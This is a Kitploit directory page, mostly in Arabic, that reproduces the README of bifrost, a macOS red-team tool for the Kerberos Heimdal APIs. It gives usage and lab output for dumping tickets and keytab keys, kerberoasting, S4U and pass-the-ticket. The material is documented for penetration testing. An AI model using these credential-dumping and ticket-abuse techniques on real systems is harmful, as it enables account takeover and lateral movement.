Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
bifrost — مكتبة Objective-C ووحدة تحكم للتفاعل مع Heimdal APIs لنظام Kerberos في macOS | Kitploit
أدوات/GitHubGitHub/its-a-feature/bifrost
هجمات كلمات المرورالاستغلالاختبار الاختراقالمصادقةالفريق الأحمر
GitHubits-a-feature/bifrost

bifrost

مكتبة Objective-C ووحدة تحكم للتفاعل مع Heimdal APIs لنظام Kerberos في macOS

عرض المستودع
158198منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Bifrost```


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (__/'()() () \___/'(____/_)

Usage: ./bifrost -action [dump | list | askhash | describe | asktgt | asktgs | s4u | ptt | remove] For dump action: -source [tickets | keytab] for keytab, optional -path to specify a keytab for tickets, optional -name to specify a ccache entry to dump For list action: no other options are necessary For askhash action: -username a.test -password 'mypassword' -domain DOMAIN.COM optionally specify -enctype [aes256 | aes128 | rc4] or get all of them optionally specify -bpassword 'base64 of password' in case there might be issues with parsing or special characters For asktgt action: -username a.test -domain DOMAIN.COM if using a plaintext password, specify -password 'password' if using a hash, specify -enctype [aes256 | aes128 | rc4] -hash [hash_here] optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 if using a keytab, specify -enctype and -keytab [keytab path] to pull a specific hash from the keytab optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 For describe action: -ticket base64KirbiTicket For asktgs action: -ticket [base64 of TGT] -service [comma separated list of SPNs] optionally specify -connectDomain to connect to a domain other than the one specified in the ticket optionally specify -serviceDomain to request a service ticket in a domain other than the one specified in the ticket optionally specify -kerberoast true to indicate a request for rc4 instead of aes256 For s4u: -ticket [base64 of TGT] -targetUser [target user in current domain, or targetuser@domain for a different domain] -spn [target SPN] (if this isn't specified, just a forwardable S4U2Self ticket is requested as targetUser) optionally specify -connectDomain [domain or host to connect to] For ptt: -ticket [base64 of kirbi ticket] optionally specify -name [name] to import the ticket into a specific credential cache optionally specify -name new to import the ticket into a new credential cache For remove: for tickets: -source tickets -name [name here] (removes an entire ccache) for keytabs: -source keytab -principal [principal name] (removes all entries for that principal) for keytabs: optionally specify -name to not use the default keytab you can't remove a specific ccache principal entry since it seems to not be implemented in heimdal

# جدول المحتويات
- [نظرة عامة](#overview)
- الأوامر
    - [list](#list)
    - [dump](#dump)  
        - [tickets](#tickets)  
        - [keytab](#keytab)  
    - [askhash](#askhash)  
    - [asktgt](#asktgt)
        - [مع كلمة مرور نصية](#with-plaintext-password)    
        - [مع hash](#with-hash)
        - [مع إدخال keytab](#with-keytab-entry)
    - [describe](#describe)
    - [asktgs](#asktgs)
        - [نطاقات مختلفة](#different-domains)
        - [kerberoasting](#kerberoasting)
    - [s4u](#s4u)
    - [ptt](#ptt)
    - [remove](#remove)
        - [ذاكرة بيانات الاعتماد](#credential-cache)
        - [إدخال keytab](#keytab-entry)
        
## نظرة عامة
Bifrost هو مشروع Objective-C مصمم للتفاعل مع واجهات برمجة تطبيقات Heimdal krb5 على macOS. يُجمَّع Bifrost في مكتبة ثابتة (ولكن يمكنك تغيير ذلك إلى dylib إذا لزم الأمر)، وbifrostconsole هو مشروع وحدة تحكم بسيط يستخدم مكتبة Bifrost. الهدف من المشروع هو تمكين اختبار أمان أفضل حول Kerberos على أجهزة macOS باستخدام واجهات برمجة التطبيقات الأصلية دون الحاجة إلى أي إطار عمل أو حزم أخرى على الجهاز الهدف.

نظرًا لأن هذا يجب أن يُجمَّع على جهاز Mac، وقد لا يكون ذلك متاحًا بسهولة للجميع لأغراض الاختبار، فقد أدرجت نسخة مُجمَّعة من وحدة التحكم والمكتبة في مجلد "compiled_binaries". وبما أن هذه النسخ مُجمَّعة مسبقًا، فمن المتوقع أن تكون معروفة لدى أدوات الكشف القائمة على التوقيعات ولا تصلح إلا لأغراض الاختبار الشخصي.
## list
سينتقل أمر `-action list` عبر جميع مخازن بيانات الاعتماد في الذاكرة ويعطي معلومات أساسية عن كل مخزن وكل إدخال بداخله. وسيحدد أيضًا المخزن الافتراضي بعلامة `[*]` وكل مخزن آخر بعلامة `[+]`.```
spooky:~ lab_admin$ ./bifrost -action list
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 


[*] Principal: [email protected]
    Name: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
    Issued             Expires                Principal                    Flags
2019-11-13 18:00:20PST    2019-11-14 04:00:20PST    krbtgt/[email protected]    (forwardable renewable initial pre-auth )
1970-12-31 16:00:00PST    2019-12-13 18:00:21PST    krb5_ccache_conf_data/kcm-status@X-CACHECONF:    ()

dump

يمكن لأمر -action dump استخراج معلومات حول keytabs أو مخابئ بيانات الاعتماد بناءً على الخيارات.

tickets

لتفريغ التذاكر تحديدًا، استخدم -source tickets. افتراضيًا، سيتنقل هذا فقط عبر مخبأ بيانات الاعتماد الافتراضي. يمكن تحديد مخبأ بيانات الاعتماد الافتراضي باستخدام أمر -action list والبحث عن المخبأ المحدد بعلامة [*]. لتفريغ مخبأ بيانات اعتماد محدد، استخدم الخيار -name [name here].

سيتم وصف كل تذكرة وتفريغها إلى تنسيق Kirbi بترميز base64 يمكن استخدامه بعد ذلك لأوامر أخرى أو مع أدوات أخرى على ويندوز.``` spooky:~ lab_admin$ ./bifrost -action dump -source tickets


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

Client: [email protected] Principal: krbtgt/LAB.[email protected] Key enctype: aes256 Key: DUpykxCguZ9JtWML38nygb5Yyhvd1nGvy+MGReD7sXU= (0D4A729310A0B99F49B5630BDFC9F281BE58CA1BDDD671AFCBE30645E0FBB175) Expires: 2019-11-14 12:00:20 GMT Flags: forwardable renewable initial pre-auth Kirbi: doIFIDCCBRygBgIEAAA<...snip...>TE9DQUw=

Client: [email protected] Principal: krb5_ccache_conf_data/kcm-status@X-CACHECONF: Key enctype: 0 Key: () Expires: 2019-12-14 02:00:21 GMT Flags: Principal type: kcm-status Ticket Data: a3JiNQAAAAEAAAAA

### keytab
لتفريغ مفاتيح keytab، استخدم معامل `-source keytab`. بشكل افتراضي، سيحاول ذلك تفريغ المعلومات من keytab الافتراضي (`/etc/krb5.keytab`) الذي لا يمكن قراءته إلا بواسطة root. لتحديد keytab آخر، استخدم وسيط `-path /path/to/keytab`.

سيتم وصف كل إدخال في keytab وسيتم تفريغ المفتاح بتنسيق base64 و hex.```
spooky:~ lab_admin$ ./bifrost -action dump -source keytab -path test
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 

[*] Resolving keytab path
[+] Successfully opened keytab
[+] principal: [email protected]
    Entry version: 3
    Key enctype: aes256
    Key: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1
    Timestamp: 2019-11-10 04:58:09 GMT
bash-3.2$ sudo ./bifrost -action dump -source keytab
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__)
تنزيل الأداة